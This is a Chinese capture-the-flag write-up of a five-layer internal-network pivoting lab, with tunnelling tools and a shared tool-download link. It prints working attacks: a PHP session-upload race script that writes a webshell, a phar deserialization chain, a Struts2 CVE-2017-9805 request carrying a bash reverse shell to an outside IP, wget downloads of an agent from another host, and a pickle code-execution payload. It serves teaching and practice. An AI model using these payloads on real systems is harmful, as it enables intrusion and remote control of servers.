——启语—— 在这次五层内网漫游的过程中,感受到了内网的愉悦,同时在AIr师傅的帮助下,学会了很多新东西,也是很感谢air的耐心指导,对于一直在打外网的我突然接触内网还是有点不适应,好在多少之前玩过一阵子的内网,所以不至于太懵逼,希望自己能在接下来的时间里再接再厉(靶场只能续机2次,好难受啊!!!),所以我这次写的也会尽可能详细
0X1工具 内网穿透代理 :earthworm,venom,proxifiler信息搜集 :fscan一把嗦VPS :我使用了2台,理论一台即可(偷懒) 工具很少,但是都很重要,这次也玩熟练了
这里我也附上我的打包链接!:
链接:https://pan.baidu.com/s/1Y2PM0idOEZDWU6afmIjf4Q?pwd=NNUS 提取码:NNUS
0X2解题 0X2.0 Proxifiler配置 最终配置如下: 首先先看结果图: 拓扑图就如上,A代表的是我们的VPS,一共五层,所以说是五层代理
0X2.1 一层代理 这里也挺有讲究的,讲的是裸包含的几种骚方法,这里air也提供了一篇总结的很好的文章:
下面我用的是条件竞争,也是比较普遍的方法,自己写了个脚本就放下面了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsimport ioimport threadingurl='http://36.138.41.66:39818/' sessionid='boogipop' data={ "1" :"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');" } def write (session ): fileBytes=io.BytesIO(b'a' *1024 *50 ) while True : response=requests.post(url,data={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php eval($_POST[1]);?>' }, cookies={ 'PHPSESSID' :sessionid }, files={ 'file' :('boogipop.jpg' ,fileBytes) } ) def read (session ): while True : response=session.post(url+'?file=/tmp/sess_' +sessionid,data=data,cookies={ 'PHPSESSID' :sessionid }) response2=session.get(url+'1.php' ) if response2.status_code==200 : print ('++++++perfect+++++' ) else : print (response2.status_code) if __name__=='__main__' : evnet=threading.Event() with requests.session() as session: for i in range (10 ): threading.Thread(target=write,args=(session,)).start() for i in range (10 ): threading.Thread(target=read, args=(session,)).start() evnet.set ()
竞争完毕后蚁剑上号(这里也有些little story,到底是选哥斯拉还是冰蝎还是蚁剑呢,这里左右试了试发现还是蚁剑最好用,别问我为什么,其他的bug感觉就是多,虽然ui界面丰富,功能也全一些,咳咳不bb了) 第一层结束
0x2.2 二层代理 拿下了第一个webshell,要干的事情还很多不能休息,找个地方上传工具,fscan和ew或者venom 记得给x权限啊 先看一下他的网段,看到了个10.18.127.153,扫一下C段,先挂代理再扫,信息会更多 看到了shiro框架,直接当一回脚本小子: 看到了rememberme字样: 直接就可以 进去了,上号: 拿到了第二个flag,二层告一段落
0x2.3 三层代理 层层笔逼近了属于是,接下来也是重复一样的步骤: 设置代理,fscan扫,访问内网 我们刚刚拿下了第二个主机,我们也是把我们的工具上传,扫一下,再代理 看网段,这次是128段,扫一下: 目的是去访问10.18.128.173 设置代理: 成功转接,这边要注意哦,ip别搞混了,从第一台靶机可以知道第一层的内网ip: 访问内网题目: 用dirsearch扫出来www.zip源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php class Model { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key , $value ) { $this ->$key = $value ; } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "phpinfo();" ; } return $this ->execute ($value ); } public function execute ($value ) { @eval ($value ); } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <html> <body> <form action="index.php" method="post" enctype="multipart/form-data" > <label for ="file" >Filename:</label> <input type="file" name="upfile" id="file" /> (只允许上传JPG图片) <input type="submit" name="submit" value="Submit" /> </form> </body> </html> <?php require_once ('class.php' );ini_set ( 'display_errors' , 0 ); if (isset ($_POST ['submit' ]) && is_uploaded_file ($_FILES ['upfile' ]['tmp_name' ])){ $upfile =$_FILES ["upfile" ]; $name =$upfile ["name" ]; if (preg_match ("/php|pht|zip|phar/i" ,$name )) { die ("Forbidden upload!" ); } $extName =strtolower (end (explode ('.' ,$name ))); $type =$upfile ["type" ]; $size =$upfile ["size" ]; $tmp_name =$upfile ["tmp_name" ]; $okType =true ; if ($extName !='jpeg' && $extName !='jpg' ){ die ("扩展名不为jpg" ); } if ($type !='image/pjpeg' && $type !='image/jpeg' ){ die ("文件类型不为jpg" ); } if ($size >20000 ) die ("Size too large.<br>" ); move_uploaded_file ($upfile ["tmp_name" ],"upload/" .md5 (mktime ()).'.jpg' ); echo "Stored" ; } if (is_file ($_GET ['file' ])){ die ("File exists!" ); } ?>
简单的审计后不难知道就是一个phar反序列化而已,在index.php的file参数触发: 以下是我构造的pop:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class Model { public $test ; public $str ; public function __construct ( ) { $this ->str = new Show (); } } class Show { public $source ; public $str ; public function __construct ( ) { $this ->str['str' ]=new Test (); } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params['source' ] = "file_put_contents('/var/www/html/1.php','<?php eval(\$_POST[1]);?>');" ; } } $model =new Model ();@unlink ("phar.phar" ); $phar =new Phar ("third.phar" );$phar ->startBuffering ();$phar ->setStub ('GIF89a' ."<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($model );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ()?>
将生成的phar文件后缀名改为jpg上传,然后注意一下源代码里: mktime()代表的就是时间戳,所以这边我们要爆破时间戳去找到文件名: 找到文件后phar包含: 上号: 第三层致此结束
0x2.4 四层代理 扫段: fscan嗦: 目标网址是http://10.18.129.122:8080 搭建代理: 访问靶场: 看报错可以很快的知道是啥框架,这是一个status2框架,经过测试发现考点是CVE2017-9805 一个RCE的漏洞,这边可以反弹shell到我另一个公网vps(为了方便,假如用一台的话,就开两个就好了,这边主要是为了思路清晰) 这就是开2个一样的就行,可能大家都以为不能这样,实际完全可以 请求包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 POST /orders/4/edit HTTP/1.1 Host: 10.18.129.122:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.18.129.122:8080/orders.xhtml Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: JSESSIONID=512614C8B8ADB67114871A0AA7EC8827 If-None-Match: -1346813468 Connection: close Content-Type: application/xml Content-Length: 1807 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>bash</string><string>-c</string><string>bash -i >&/dev/tcp/175.178.154.216/6666 0>&1</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
第四层结束~
0x2.5 五层代理 得到了反弹shell之后可能大家就不知道咋办了,这里可以用wget去下就好了:
1 2 wget http://43.140.251.169/agent_linux_x64 wget http://43.140.251.169/fscan_amd64
工具在手天下我有! 开扫!!!!!!: EZEZ~ 搭建代理: 到此基本就结束了,继续去访问靶场:http://10.18.130.50 根据提示name是可以控制的: 这边我以为有SSTI,测试了好久发现没用,而且题目给了源码www.zip,但是不在/www.zip而是/static/www.zip:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from flask import Flask, requestfrom flask import send_from_directoryfrom jinja2 import Templatefrom pickle import loadsimport os,base64app = Flask(__name__) @app.route("/" ) def index (): name = request.args.get('name' , 'guest' ) if "{" in name: return 'Wrong name' t = Template("Hello " + name+"\n\n\n\n\n<!--/?name=guest\nEnviroment: python 3.5\n src in www.zip-->" ) return t.render() @app.route("/download/<filename>" ) def download (filename ): if request.method=="GET" : if os.path.isfile(os.path.join('static' , filename)): return send_from_directory('static' ,filename,as_attachment=True ) @app.route("/load" , methods=['POST' ,'GET' ] ) def load (): if request.method=="POST" : file=request.form['file' ] backlist=['os' ,'system' ,'eval' ,'popen' ,'popen2' ] for back in backlist: if back in file: return 'No black' unpickler=loads(base64.b64decode(file)) return unpickler if __name__ == "__main__" : app.run()
非常非常简单的代码审计,只要是个人都能看到首先ban了{那就注定没SSTI,其次load里有个pickle反序列化,所以肯定就是考这个了 构造opcode:
1 2 3 4 5 6 7 8 import pickleimport base64class payload (object ): def __reduce__ (self ): return (eval ,("__import__('os').system('ls / >/app/static/6.txt')" ,)) a = payload() print (base64.b64encode(pickle.dumps(a)))
这边根据flask框架,很容易知道目录是/app/static,我们先把根目录有啥都导出来:(在/static/6.txt获得) 看到了flag__flag__xoxv
: 改一下payload之后:
——结语——— 这对我来说无疑是一次颇有兴趣的尝试,比起之前的一些靶场,这个更加偏向于我们对内网的理解,同时也考了很多web的知识,希望今后可以更加熟练